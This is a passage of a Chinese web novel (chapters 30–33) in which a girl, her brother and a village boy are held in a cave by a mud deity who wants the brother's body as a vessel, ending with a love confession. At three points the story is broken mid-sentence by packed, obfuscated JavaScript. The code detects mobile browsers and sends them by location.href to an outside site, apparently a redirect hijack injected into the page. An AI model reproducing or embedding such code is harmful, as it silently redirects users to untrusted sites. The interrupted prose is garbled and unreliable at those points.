话音刚落,不远处的湖沼骤然涌起泥浪,从底下窜出一污泥满身的庞然大物,正是岑桉已经交过几回手的烂泥——泥沼神。她想也不想,径直拿笔头扎进掌心,却没出什么血,她咬牙狠狠一划,就着溢出的血召唤出了经幡竿。 “程杉!”她大喊一声,“快跑——” 顾不上他到底有没有听她的话,岑桉挥着竹竿大步冲向前,一竿击中了泥沼神的躯体,祂发出了震耳欲聋的怒鸣声,泥点如利刃般刺中了她的肉身,她忍着疼痛迎头而上,却听到一声撕心裂肺的叫喊:“身后——” 岑桉猝然侧身躲过,这才发现身后多了个荀伯成。 他拿着把长柄斧,像极了电影里嗜血成性的杀人狂魔,岑桉连连后退,一根竹竿在一泥一人的夹击中显然不够看,就在她招架不住之时,一块砖头从背后砸上了荀伯成的脑袋。 荀伯成吃痛地回过头。 程杉绷紧身体,颤着手再次将砖头拍向他,荀伯成闪身一避,一斧头反手砍向程杉的头颅,被岑桉用竹竿拦了下来——天知道这竹竿到底有多硬挺,居然连斧头都能硬抗。 程杉一脚踹上荀伯成的腿弯,却被对方反拽住他的脚,他一个站不稳,砖头脱手,手无寸铁的程杉只能赤手空拳地捣向荀伯成,却被轻轻松松拦了下来。 眼见着岑桉被泥沼纠缠,那柄锋利的斧头即将落在程杉身上时,荀伯成的动作忽然因背后受击而顿住。他恶狠狠地转回头,却看到了自家侄子惨白的脸——荀耀手里握着一块砖,正是程杉先前没拿住的那块砖头。 “大、大伯,”荀耀连嘴唇都没了血色,“对、对不起。” 30. 第三十章 早在岑桉让程杉快跑的时候,程杉就拉着荀耀找了个避身处,给他解开了手上的绳子,拿出了塞在他嘴里的毛巾。 “你就躲在这儿,找机会跑出去,保命要紧,知道吗?” 程杉仓促嘱咐了两句,就在附近捡了块砖头,回去支援岑桉。 荀耀哆哆嗦嗦地握紧了毛巾,在看到荀伯成也加入战场时,他感觉浑身发冷,大脑也停止了思考。 怎么办,怎么办,就这么逃走吗? 他们俩会怎么样,会死吗? 他们就是想偷点东西,还没偷成就被他抓到了现行,罪不至死吧? 还有那一大坨会动会打人的泥,那是什么东西,是怪兽吗? 大伯为什么会和怪兽一起打人? 不管了。 荀耀眼一闭心一横,攥着毛巾直冲战场而去,刚好赶上程杉手里头的砖块掉在地上,他给自己加着油鼓着劲,一砖拍在了大伯的后腰上——他还在长个子的年纪,也就能够得到荀伯成的腰。 对上大伯凶神恶煞的脸色,荀耀才意识到自己做了什么,整个人抖成了筛子,张嘴就是磕磕巴巴的道歉:“大、大伯,对、对不起。” 对不起,但我没错。 对,我没错。 荀耀大气都喘不上来,却见荀伯成一转头对着程杉又是一斧头——他是铁了心要杀人,制止他的却是泥巴怪:“别伤到要害,他的身体我有用。” 荀耀甚至来不及思考自己为什么能听懂一只泥巴怪兽说话,脑袋里蹦出来的第一个问题是:它要人的身体做什么? ——用来吃吗? 荀耀差点给自己吓晕过去,余光却看到苦战泥巴怪兽的岑桉动作慢了下来。 她是不是累了? 可她那么能打,要是连她都撑不住了,他和程杉更撑不住啊! 荀耀越想越绝望,恨不得给自己脑门上来一砖。 * 岑桉确实放慢了动作。 不是因为疲惫,也不是因为疼痛,她只是因为泥沼神的那句话——程杉的身体有用。 能有什么用? 她第一时间想到的也是吃人——毕竟吃唐僧肉能够长生不老【注】的设定实在深入人心。 但程杉又不是唐僧,况且就算真是用来吃的,伤到了就伤到了,泥沼神为什么会在意? 所以岑桉产生了第二个猜测——献祭。 祭神节的祭品也许就是程杉,无论祂要他的身体做什么,总之是会让程杉活到明天的,所以她不用这么着急,甚至可以佯装打不过被祂绑回去,说不定能弄清楚祂和他们到底想做什么。 于是,岑桉刻意装作疲软的样子,让泥沼神抓住了她的破绽。 两道泥灰甩到她的手腕上,成了泥塑的手铐,岑桉心念一动,经幡竹竿也顺应她的心意消失不见了。 就这样,在她的假意屈从下,失了主心骨的程杉也被泥绑了起来。 泥沼神正要绑荀耀时,却被荀伯成拦了下来。 荀伯成神色复杂地盯了侄子许久,最后把那块毛巾重新塞回了荀耀的嘴里。 他说:“少说话,留你一条小命。” 就这样,泥沼神带着三名俘虏瞬移到了山洞附近的泥潭——荀伯成依旧是自行跑回去的。 也就有了荀昼生和荀小妹躲起来看到的那一幕。 * 眼见着岑桉三人即将被拖进山洞,荀小妹紧张得心都快跳出来了:“怎么办,我们跟进去吗?” 荀昼生捏紧拳,从掩身的树丛后露出了半张脸,恰巧对上了岑桉观察四周时看过来的那双眼。 岑桉神色一愣,伸直了被捆在一起的双手,挣扎的动作下藏了一个比给他的大拇指。 “不用了,”荀昼生吐出一口气,心落回了实处,“相信她。” * 岑桉很意外会在这里见到荀昼生。 她看出了他主动露头的意思,但她是自愿上钩,不需要救援,更何况荀昼生没有经幡傍身,现身救她属于是纯献身,恐怕起不到多大的作用。 而且她猜,荀昼生八成是为了他的目标才来到这里,她不能贸然打断他的计划。 岑桉这头是心里有底不慌不忙,但程杉不是。 他刚开始还没发现什么异样,反抗得真心实意,每个动作都使了十足十的力气,后来察觉出老姐抵抗得很是应付,自己也泄了气。 “嗯嗯嗯嗯嗯(你是故意的)?”他哼唧着发出了猪音。 岑桉诡异地听懂了。 她没想到荀家村生态这么好,不仅有鸟语,还有猪音,她还都无师自通地达到了即听即翻译的水平。 岑桉点了点头。 程杉悟了,干脆乖乖躺平,省心省力。 他们被拉到了山洞深处。 山洞还是那个熟悉的山洞,上回打抖溅了满墙的泥点子已经不见了,山壁坑坑洼洼但也还算干净,岑桉估摸着,这里大概就是泥沼神的老巢了,祂好像格外热衷于把猎物拉到这里。 荀耀木然地躺在地上,嘴里塞着毛巾,整个人像失了灵魂,看不到一点神采——他受到的打击确实有点大,先是奇形怪状的怪物,然后是和怪物统一战线的大伯。 岑桉能理解他现在的感受,他的表现也给她提了个醒,这孩子确实对泥沼神一无所知,但他又怎么会出现在那天夜里的湖沼边呢? 没过多久,荀伯成就气喘吁吁地赶到了,张嘴就是一串熟悉的鸟语。 他那把长柄斧是继短刀之后出现的第二样武器,岑桉不确定它是不是也有割破影子杀人的功能,但眼下她对这一人一泥的对话更感兴趣。 荀伯成说:“他的命留给你,那个女的是不是能杀了?” 荀耀听懂了,惊恐地睁大眼,“呜呜”叫了几声。 程杉一头雾水地瞅他一眼,又偷瞄一眼说话的荀伯成,显然不明白荀耀为啥会有这么大的反应。 岑桉有样学样,装出一副疑惑无知的模样。 “不能杀,留着。”泥沼神说。 “你要她干什么?明天的仪式她又没用,杀了一了百了,省得麻烦。” “你在命令我?”泥沼神的声音忽而提高。 荀伯成猛地跪下:“您误会了,我是怕她坏了您的大事。” “区区一个女人,能坏什么事?” “您也看到了,她那根竿子——”荀伯成颇为忌惮,“如果不是那根竿子,她肯定不是我的对手。” “我把她困在这里,她掀不起什么风浪。你去做你该做的事吧,别耽误了时辰。” “等一下,我还有一件事想问你——您,”荀伯成迅速改口,“按规矩,祭神仪式都是在明天晚上,您为什么急于提到明日凌晨天亮之前?” “规矩?”泥沼神发出震天的笑声,“哈,按什么规矩,你的规矩?” 祂一步一步走近荀伯成,整摊泥几乎要贴在他身上:“你听好了,在这里,我就是规矩。” 一滴泥点从祂身上弹出,落到了荀伯成的右手上,他捂住右手在地上打滚,呼天抢地痛不欲生。 泥沼神直起了身:“一点小惩罚,下不为例。” 荀伯成跪着磕头,一下一下咚咚作响:“是,是,我一定谨记,感谢您的宽恕,感谢您。”说完便趔趔趄趄地跑走了。 荀耀目睹全程,每一个字都听得清清楚楚,整个人蜷成了一团,瑟瑟发抖。 程杉茫然地看着他抱紧了自己的身体,扭过头去问岑桉:“他咋了,冷吗?” 岑桉摇摇头:“不知道,可能吧。” “呜呜唔呜唔呃?”毛巾把荀耀的话过滤了一遍,成了没人能听懂的语句。 程杉不明白:“你为啥要含着个毛巾啊?” “刚才我就想问了,”岑桉举了举自己被捆住的手腕,“我俩是被绑了不能动,你手又没被绑,为啥不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260603|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己把布拿出来啊?” 荀耀:“……” 他一把拽出了嘴里的毛巾,呸呸了好几下。 “你们,”他嘴唇都在发抖,“你们没听到吗?” “听到了,”岑桉违心道,“但没听懂。” 程杉更是实诚:“那还能是人话?”他说完才意识到,老村长说的也是这种鸟语,连忙找补道,“呃,你爷爷也是个人。” 好像更不对了。 这话倒是给了岑桉一点启发。 荀耀会听不会讲,王春花会听会讲,但讲的次数不多,荀伯成和老村长只讲鸟语,没听他们说过正常语言,鸟语的熟练程度是不是也跟受泥沼神蛊惑程度挂钩? 但刚才的对话确实透露出来不少东西。 比如,荀伯成看着可不像是对泥沼神俯首称臣,他对泥沼神的诸多决策心存不满,似乎已经有失控的预兆。而泥沼神也不是没有意识到这个问题,相反,祂清楚得很,但祂妄自尊大又有恃无恐,根本不把荀伯成的小心思放在眼里,仿佛他是一只随手就能碾死的蝼蚁。 敌人的内部看起来很不团结啊。 岑桉心里的把握又多了一分。 “好了,无关紧要的人都走了,让我们来好好谈一谈吧,我尊贵的客人。” 泥沼神那摊分不出四肢和五官的身体忽然长出了一只手,怪模怪样地行了个礼。他走到了几人面前,忽然注意到了荀耀:“咦,还漏了一个小家伙?” 荀耀抖得更厉害了。 “别、别杀我,求求你。” “瞧你,我怎么会杀人呢?我是守护荀家村的村民,你是我的信徒,我怎么会对你不利呢?”泥沼神弯了弯腰,“也好也好,你能听懂我说话,来替我向尊贵的客人们问个好吧。” 荀耀哆嗦着照做了:“尊、尊贵的客人们,你们好。” “真是乖孩子。”泥沼神笑得震了起来,身上的泥也跟着上下甩动。 程杉一脸空白:“他犯病了?” “瞎说,”岑桉白他一眼,“他替祂跟你打招呼呢。” 泥沼神心情愉悦地咕噜了一长串,荀耀磕绊着逐字翻译:“欢迎你们来荀家村,我的孩子们,我是这里的神明。相信你们已经知道了我的名讳,将我召唤而来,为表诚意,我带你们来到我的地盘做客。” 他说完一顿,给自己来了一巴掌:“我召唤来的?” “毛手毛脚的孩子。”泥沼神不悦,荀耀立刻缩成了鹌鹑,兢兢业业地继续翻译:“孩子们,尽管你们对我和我的信徒动了手,但你们毕竟初来乍到,不懂规矩,我可以给你们一次机会。只要你们虔心悔改,成为我的信徒,我便原谅你们之前的鲁莽,为你们赐福。” “什么玩意儿赐福?”程杉张大嘴。 “我许你们一个心愿,只要在我力所能及的范围内,我都可以替你们实现。” “那如果我想发大——唔——”程杉发大财的宏愿还没说完,就被岑桉扼杀在了喉咙里:“脑子清醒点。” 程杉忽然想起笔记本里的许愿,打了个寒战,老老实实闭上了嘴。 “我的孩子,怎么不继续说了?我什么愿望都可以为你实现。不必同我客气,我是你们的神明,这是我分内的职责。” 岑桉闭口不言,泥沼神有些急了:“这样吧,我可以为你们破例一次,三个愿望,只要你们想,我就能办到。” 回应祂的依旧是沉默。 “五个,五个愿望,不能再多了,哪怕是我最忠实的信徒,也不过实现了四个愿望。” 祂当菜市场买菜呢,还讨价还价起来了。 岑桉腹诽道。 “孩子们,不要太贪心,神的耐心也是有限的。我知道,你拥有循环重来的能力,但我也知道,循环的实现是需要条件的。我的孩子,那可是来自堕落之神的蛊惑,你怎么能轻信呢。只要我把你困在这里,让你永远不能死去,你又将如何?” 31. 第三十一章 一时间,山洞里的空气仿佛都停止了流动,岑桉甚至忘记了呼吸。 ——祂怎么会知道?! 泥沼神好似看穿了她的心思,借荀耀的口继续道:“我的孩子,神是无所不知的。但我可以给你一个赎罪的机会,只要你弃暗投明,成为我的信徒,我就可以既往不咎,饶恕你的罪过。” 岑桉质疑:“饶恕我?你有这么好心?” “自然,自然。你可得好好谢谢你身边这个孩子,他将是我最忠诚、最亲睦的信徒,会得到我至高的信任和无上的权利。托他的福,你才能有这个选择的机会,我劝你想想清楚,一旦错过,就再也没有回头路可走了。” 程杉:? “啊?”程杉指着自己,“信徒说谁,我吗?” 岑桉皱起眉。 她有点怀疑明天的仪式是给程杉洗脑了。 岑桉问:“为什么是他?他不算机灵,也不算强壮,到现在也还不相信你,你为什么认为他会是你最好的信徒?” 程杉:感觉自己好像被老姐骂了。 泥沼神笑得发颤:“天真的孩子啊,机灵和强壮有什么用,适合,适合才是最重要的。他是我最契合的容器,我自然会选择他。” 祂说什么? 容器? 程杉脱口而出:“夺舍?” 荀耀两条腿已经瘫软到坐地不起了:“夺、夺舍是什么?” “就是取代他的灵魂,霸占他的身体。”岑桉紧盯着泥沼神,“简单来说,就是谋杀,灵魂意义上的谋杀。” “不不不,我的孩子,这怎么能是谋杀呢?我把无限长的生命共享给他,这明明是神明的馈赠啊!” “馈赠?”岑桉冷笑一声,“他都魂飞魄散了,跟死了有什么区别,你还有脸说是馈赠?” “死?怎么会是死呢?这明明是生,是共生,是永生,是无穷无尽的生生世世啊!”祂陷入了近乎癫狂的热潮之中,“他一介凡人,让他成为我的一部分,供我驱使他的身体,这是多么大的荣幸啊!” 荀耀从翻译完开始就一直在掐自己胳膊上的肉,他已经第无数次怀疑自己是不是在梦里了。 程杉作为当事人,更是听得瞠目结舌:“等一下大哥,你的意思是,你把我魂灭了,然后占我的身体,我还得给你说声谢谢?” “好孩子,不必言谢,只要你甘愿归属于我,我保证会给你用不完的金银珠宝,保你享尽荣华富贵。” 永生,富贵。 多么吸引人的条件。 如果前提不是让程杉的壳里换个人。 岑桉气笑了。 她不想跟这种脑子发热的神经病沟通,祂已经沉浸在自己的世界里无法自拔了,但她被气得越发冷静了。 她对祂的保证没兴趣,但她想知道祂要怎么占据程杉的肉身。 “你也看到了,他还是不信你。”岑桉说,“他现在心不甘情不愿,不可能把身体给你,你恐怕要失望了。” “心甘有心甘的方式,不心甘也有不心甘的办法,这就不需要你来操心了,我的孩子。”泥沼神转向岑桉,“他的事注定是定局,比起他,我现在更好奇你。来跟我说说,你在之前的循环里,都看到了什么?我成功了吗?” 荀耀带着胳膊上掐疼的淤青,麻木地转述了一遍。 “当然没有成功。”岑桉心道,自己早就被害死了,哪看得到祂成没成功,但她仍然撑着面上的镇定,“你的仪式失败了。” “哦?你还知道仪式,果然是她的人。她找你来做什么,杀我?” “她是谁?” “你不知道?”泥沼神哈哈大笑起来,“她连这个都不肯告诉你,如此不坦诚的神,你跟着她做什么?不如选择我,等我出去后,你就是我的‘姐姐’,你想要什么还不都是手到擒来?” 程杉骂了句脏话。 是可忍,孰不可忍,占他的身体,还想占他的老姐? 岑桉拧了拧手腕,确认那团泥手铐是无法靠人力强开的。 事已至此,她得多套两句话才不算亏本:“你说了这么多好处,那代价呢?你需要我为你做什么?” “聪明孩子,我最喜欢和识时务的人打交道。我要你以其人之道还治其人之身,她要你杀了我,那你就来替我杀了她,事成之后,我带你离开,保你没有后顾之忧。” “我要怎么才能杀了她?”岑桉问。 “这就是你的事情了。”泥沼神显然管杀不管埋,“她连经幡都给了你,想必你深得她信任,这点小事还弄不明白吗?” 祂绕着岑桉转了一圈:“我的孩子,虽然非常欣慰你能改过自新,但我还是要给你一个考验。我知道,那个荀家村的孩子和你一样,也拥有循环重来的能力,我要你把他杀了,向我证明你的忠心。” 岑桉没有想到,祂连荀昼生的部分也了解得这么清楚。 她问:“他死了,不就又重来了吗?” “看来你还真是不了解她,她最喜欢什么同舟共济、众志成城的剧本了,她既然选中了你们,必然是你们两个全部死去,才能进入下一循环。所以,只要你杀了那个孩子,我就给予你我承诺的一切。” 真是一石二鸟的好计谋。 岑桉觉得自己还是低估了祂的头脑。 她没有一演到底的演技,更没想残害战友,况且她已经得到了自己想要的信息,再多的恐怕也套不出来了。 岑桉干脆不装了:“谢谢你的认可,但我不堪重用,还是算了吧。” 泥沼神暴怒之下险些掀翻了山洞:“执迷不悟,冥顽不灵,你以后会后悔的!” 祂知道的已经够多了,岑桉没想暴露更多,以免给下一次的自己找麻烦。她瞒下自己能听懂的事实,直接扭头去看荀耀:“祂说啥?” 得到结结巴巴的翻译后,岑桉应道:“以后后悔那就以后再说吧,反正现在我是不后悔。你想搞我弟弟,还想让我帮你,别做梦了。” 程杉感动得泪眼汪汪。 他刚才差点就以为,老姐真要投诚了。 狂暴状态下的泥沼神长出了两条胳膊,掐住了岑桉的脖子。 程杉急得扭成了蚕蛹,荀耀更是紧紧抱住了自己,岑桉余光瞥到两人的反应,心却慢慢松懈下来——只要她被掐死在这里,这事儿就算成了。 岑桉不信泥沼神说的双死进入循环,敌方的口供怎么能轻易相信呢。 她故意激怒祂,就是为了逼祂动手要她的命,只要她死了,就能进入下一次,到时就能占到先机了。 气息受阻。 呼吸遭到钳制。 岑桉只觉眩晕,喉咙下意识地吞咽,换来的却是强烈的灼烧感。 还是第一次死得这么不痛快。 岑桉意识模糊时,冒出了这么个念头。 还不如一刀割影子,就疼那一下,干脆利落,现在这种拖泥带水的死法实在是太折磨了。 雪花状噪点占据了她的视线,耳边尽是嗡鸣声,就在她即将陷入无尽的黑暗之际,大口大口的空气忽然涌进了她的鼻腔和喉咙。 “咳、咳咳、咳——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260604|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 岑桉撕心裂肺地咳了起来。 “你求死?没那么容易。”泥沼神的声音穿过嗡鸣声钻进了她的大脑,“想要凭几句话就激怒我,那你太轻看我了,无知的孩子。” 岑桉也不知道自己咳了多久,时间漫长得仿佛过了一整个世纪,她才慢慢缓过来。 视线重归清晰时,程杉已经扭着蠕动到了她身边,满脸写着担忧,荀耀则紧紧贴在他身边,像是依靠着老母鸡的雏鸡。 “咳、咳,别担心,我没、咳,没事了。”岑桉断断续续地说完了几句话,眼见着程杉的眼泪就下来了。他像是觉得丢人,又扭了几下,蹭掉了脸上的泪。 岑桉:“……” 要不是她没力气说话也没办法动手,真的很想给程杉脑门上来一下。 蹭眼泪,可以。 但把眼泪蹭到她身上,不可以。 “对不起姐,是我拖累你了,”程杉哽咽道,“我太没用了。” 荀耀小幅度点了下头。 岑桉咽了下唾沫,感觉喉咙好受了许多,才一字一停顿地说起了长句子:“你可别说自己没用干脆献身好了这种话,那我的罪都白遭了。” “姐你怎么会这么想?”程杉惊讶,“我怎么会想献身把身体让给祂?那不是后患无穷吗。” 岑桉心中慰藉,又听他说:“我还有好多番没看,还有好多小说在书架堆着,我才刚高考完,收藏夹里的景点一个也没去,好吃的一个也没尝,我还有大好的人生,要是折在这里多亏啊!我想活着!” 他发出了活着的呐喊。 吓得荀耀一颤。 岑桉叹了口气:“好,活着。” 她也想活着。 所以她得先想办法死。 程杉和她现在都挣脱不开束缚,岑桉的目光自然而然落到了荀耀的身上。她上下打量了荀耀一番,打量得他心里发毛:“看我干啥,我不计较你们偷东西的事了。” 岑桉都快把这茬给忘了。 “我们没偷,”她认真道,“但事情结束之后你可以报警。” 荀耀:? 程杉耷拉着脑袋:“确实,虽然字条同意了,但严格意义上算私闯民宅。” 荀耀:?? 他还没回过神,就又听岑桉来了一记重锤:“你杀过人吗?” 荀耀:??? 他一瞬间感觉自己石化在原地。 岑桉看他一副神游天外、魂归宇宙的模样,又想笑又发愁。 她都做不到的事,难为一个孩子干什么,还是得另想办法送自己去死。要是荀昼生在就好了,也不知道他的事情办完没有。 岑桉放任自己发了会儿呆,忽然意识到一个问题:泥沼神去做什么了? 她这样想着,也这样问出了声。 “走了,走的时候还放了狠话,”荀耀清了清嗓子,模仿道,“机不可失,时不再来。你不想干,有的是人愿意干,你就在这等着看祭神的灯火吧。” 岑桉一愣。 有的是人愿意干? 祂不会是—— 她刚转念,洞口忽然亮起,身边的两只瑟缩着紧靠在一起。 泥沼神的身影随着光亮的暗去闪现在山洞口,一具躯体被祂甩落在地。 ——是荀昼生。 祂把荀昼生绑来了。 他艰难地从地上爬起,回头对上了岑桉的目光,她蓦地笑了起来。 真是瞌睡来了有人送枕头。 她刚才还记挂着的人,祂这不就帮她送上门来了么。 32. 第三十二章 程杉觉得眼前的一切都很诡异。 老姐先是问荀耀杀没杀过人,然后在他们最大的同盟被绑来时又笑出了声,跟失心疯一样。他恨不得摇晃老姐的脑袋,冲着她的耳朵大喊:醒醒!我们外头没人了!谁都救不了我们了!你清醒一点啊!! 可惜他被绑住了不能动。 就算能动,他也不敢。 更诡异的是,荀昼生看到老姐笑,居然也跟着笑了起来。 程杉没有文化,形容不来,就觉得像那动物世界里的雄性求偶,有羽毛的抖擞羽毛,有皮毛的皮毛锃亮,浑身都散发着春天的气息。 他自知这话说出口肯定会挨打,老老实实地闭紧了嘴。 也是得感谢他俩,他俩这么一笑,连带着他都不紧张了。 程杉一直坚信,只要老姐笑了,问题就不大,都还有得救。荀耀小弟弟显然就没有这个信念,人抖得跟装了马达似的。 这头的程杉是放松了,那边的泥沼神显然对猎物没有猎物样一事非常不满。 祂自认为给出的条件足够诱人,两个人选总能打动一个,没想到两个都是硬骨头,那个甭管是不是装的,好歹还低过头,另一个简直是古板不知变通,居然想教祂怎么做人。祂是想成神,又不是想成人,谁管他们怎么做人呢。 祂是气急了才说那个女孩子已经被他杀了,没想到剩下那位直接发疯了,拎着刀就冲祂来了。有没有搞错,那把短刀还是祂赐给其他信徒的,怎么会在他手里被用得行云流水的? 于是祂把人一起绑来了山洞。 祂还有最后一计。 “我给你们最后一次机会,你们两个同时动手,谁赢了,谁就能成为我的信徒,跟随我走向更远的世界。至于另一个,只有死路一条。” 荀耀都不用指示,熟门熟路地干起了翻译的活儿。 “很显然,你已经劝降失败了,怎么还想劝我们内斗啊。”岑桉是真觉得好笑,“你不都说了吗,我们两个都死才能进入循环,你怎么不直接杀一个?” 她在试探。 这是她目前最大的困惑。 对泥沼神来说,最一劳永逸的方法显然是杀一个留一个,留下的那个看好了守严了,只要保证那个不死,就不能开启下一循环,祂就能安安稳稳地完成祂的仪式。 有两种可能性。 要么祂说的双死条件是在骗她,要么就是祂还有所顾忌。 泥沼神被她问得一滞,荀昼生却忽然开口了:“祂不敢。” 他的语气笃定:“无论你我谁死,都会以第一个触发死亡的时间为循环的基点。只要你我其中一个死在祂的仪式完成前,循环的起点就会设定在定局之前,另一个人随时有选择重来的机会。” 泥沼神气急败坏的吼叫声显然印证了他的结论:“愚昧!短见!站在她那边对你们有什么好处!你们会后悔的,我一定要你们为这个愚蠢的选择付出代价!” 岑桉放心了。 “也就是说,你现在唯一的出路,就是看好我俩别送死,不然你永远都有被打回原形的可能性。”她实在太喜欢这个设定了,“先考虑一下你自己的代价吧,我们就不劳你操心了。” 祂气得又要上手掐她的脖子,伸到一半又清醒地退了回去,反手几道泥把几人紧紧束缚在石壁上。 “我的孩子,嘴硬是你最后的抵抗了。这里是我的地盘,没有我的允许,谁也不能进来。你们就在这儿乖乖等死吧。” 祂放完狠话,便又消失不见了。 原本就被捆住手脚的三人此刻更是一动不能动,胸前一道泥绳,手脚都是泥铐,连脖子都被泥固定住,轻微转动已是极限。 程杉挣脱无果,绝望地拧过脖子看向右侧的老姐:“你说你惹祂干啥啊,现在是真跑不了了。” “她想逼祂动手,能死最好,不能死也能证明祂确实不敢杀我们。”岑桉右边的荀昼生解释道,“其实我刚才是编的,没想到还真是这样。” 程杉:? 程杉震惊:“你编那么真?把祂都骗过了?居然还编对了??” “也没有,起码岑桉就看出来了。”荀昼生垂下头。 程杉:?? “嗯……你撒谎时候小动作太多,太明显了。” 岑桉得承认,从认识荀昼生开始,他就没骗过她,刚才他手被泥捆着,编瞎话的时候还是不自在地拽了领口,又蹭了下巴,完全不像和她交流时的模样——虽然也是个拘谨的小机器人,但手是安安分分的,绝对不会东一下西一下。 所以她一眼就看出了问题,心一下子悬了起来,还是泥沼神的无能狂怒给了她底气和自信。但岑桉不明白:“你又是怎么知道我知道你在编话呢?” 这话说得跟绕口令似的。 “眼睛。”荀昼生彻底避开她的目光,“你的眼睛会说话。” 程杉:“……” “大哥,”他沉痛开口,“生死攸关的时候呢,你居然搁这表白?” “不、不是,”荀昼生慌忙抬头,“这不是表白。” 他拧着头看程杉的姿势实在诡异,况且两人中间还隔着个岑桉,他既想躲开她,又想越过她跟程杉解释。 岑桉:“……” “我有这么吓人吗?”她诚恳发问。 荀昼生默默地瞄了她一眼,又转过头,岑桉从他的眼睛里读出了沮丧的情绪——原来人的眼睛真的会说话。 她有点心软了:“放心吧,没误会,我知道不是表白。” 喜欢这件事本身就本容易产生错觉,岑桉都没搞清楚自己的喜欢是不是错觉,更别说对他的判断了。 他对她很好,像是风和蒲公英,他是她的航向标,托举着她飘往既定方向。岑桉说不清这是他的责任担当,还是私心作祟,所以她不敢自作多情。 山洞里静了很久,静到程杉开始数自己手上的汗毛,静到荀耀开始思考自己为什么会在这里,荀昼生忽然说话了。 “岑桉,”他还是不敢转头看她,“我知道,你可能有喜欢的人了,但我考虑了很久,还是想和你说清楚。我不知道有没有机会出去,不知道还能见你几面,甚至不知道一切结束后我是死还是活,但我不想让自己后悔。” “我喜欢你。”这四个字短促而有力,像是他花光了毕生的力气,怕她听不清,又怕她听太清。 “从见第一面开始,我只是觉得你有些奇怪,但会不由自主地关注你,再后来发生了那么多事,我都说不清自己什么时候动的心、又是因为哪个瞬间而心动,”有了那四个字打头,后面的话便顺畅了很多,“但我非常确定,我的心跳是为你而停拍,也是为你而加速。” 他顿了顿,再出口时带着几分毅然决然:“我喜欢你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266821|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >岑桉久久无法平复。 她知道自己应该回应,但张了张口,话到了嘴边却怎么也说不出来。 该说什么呢? 谢谢你,对不起? 还是,我可能也喜欢你,但我不确定? 荀昼生显然对她的沉默有更深一层的理解:“没关系,我有心理准备,你——你喜欢的那个人陪你走了很久,他帮你拿到了‘金箍棒’,告诉你煤油灯的咒语,因为有他你才有更多活下去的保障,我很感谢他。也谢谢你,毫无保留地把这些告诉我,也没有向我隐瞒你有喜欢的人这件事,但你的坦诚也让我……” 他顿了顿,艰难地继续道:“也让我更喜欢你了,对不起。就算是困扰,我也想把这些告诉你。” 岑桉越听越觉得不对劲,心里头那个猜测明晃晃地浮了上来:“你说,我喜欢那个帮我拿经幡、教我咒语的人?” “嗯,”荀昼生贴着泥绳点了点头,“虽然你没明说,但我能感觉得到,你喜欢他。” 替情敌说话更让他多了几分颓然,岑桉再次幻视了一只狗狗,这次是饿着肚子也要把狗粮让给另一只受宠小狗的可怜狗狗。 岑桉笑了起来。 为那只吃不饱的狗狗,也为他。 “荀昼生,”她轻声说,“你说有没有一种可能,我们在同一条时间线上逆行?” 他一怔。 程杉和荀耀更是满头问号:偶像剧的表白高潮正演到一半呢,女主角这是蹦哪个频道上去了? “你看我的手,”岑桉活动了下受限的手腕,“从指尖到掌根,和从掌根到指尖,一样长的距离,但是完全相反的方向。” “就像……”她忽然想起那个候鸟的故事,“就像候鸟,候鸟群每年会迁徙两次,一次从南到北,一次从北到南。” 原来如此。 在那样早的时候,他就已经隐晦地暗示过她了。 荀昼生骤然转过头,面露豁然之色:“我还能见你几次?” “三次,还有一次等你自己慢慢摸索吧。”岑桉狡黠地眨眨眼,“多留一些惊喜和未知感给自己嘛。” 荀昼生哑然失笑:“好,听你的。” “嗯,对了,”岑桉抿了抿唇,“还有一件事。” 她错开他的目光:“我可能、也许、大概,也有一点喜欢你,和其他人无关,只是你。” 荀昼生一下子僵住。 “虽然我也不能完全肯定,但为了你的坦诚,我决定也敞开一下心扉。我不知道这算不算一见钟情,但我之前把它归结成了吊桥效应,我为这份逃避向你道歉。如果,如果我们能离开这里,我愿意和你一起试一试。” 岑桉感觉自己的脸在发烫。 “其实说起来也挺好笑的,我之前看那些小说啊剧啊,还偷偷吐槽过,在绝对的生死面前,谁有心思谈恋爱啊,没想到我自个儿也不能免俗。” “嗯,我也这样想过,”岑桉能感觉到,荀昼生的目光几乎黏在了她的脸上,他的声音却很轻快,“但真到自己身上,我才发现完全不是那么回事。在绝对的生死面前,谈个恋爱算什么啊,不留遗憾才是真的。” “所以,再说一次,”他的语调里染上了笑意,“岑桉,我喜欢你。” 岑桉轻轻呼出一口气,向右转头,正视他如春雪融化的笑容。 “嗯,我也是。” 33. 第三十三章 程杉克制了又克制,才忍住没有呜呼出声。 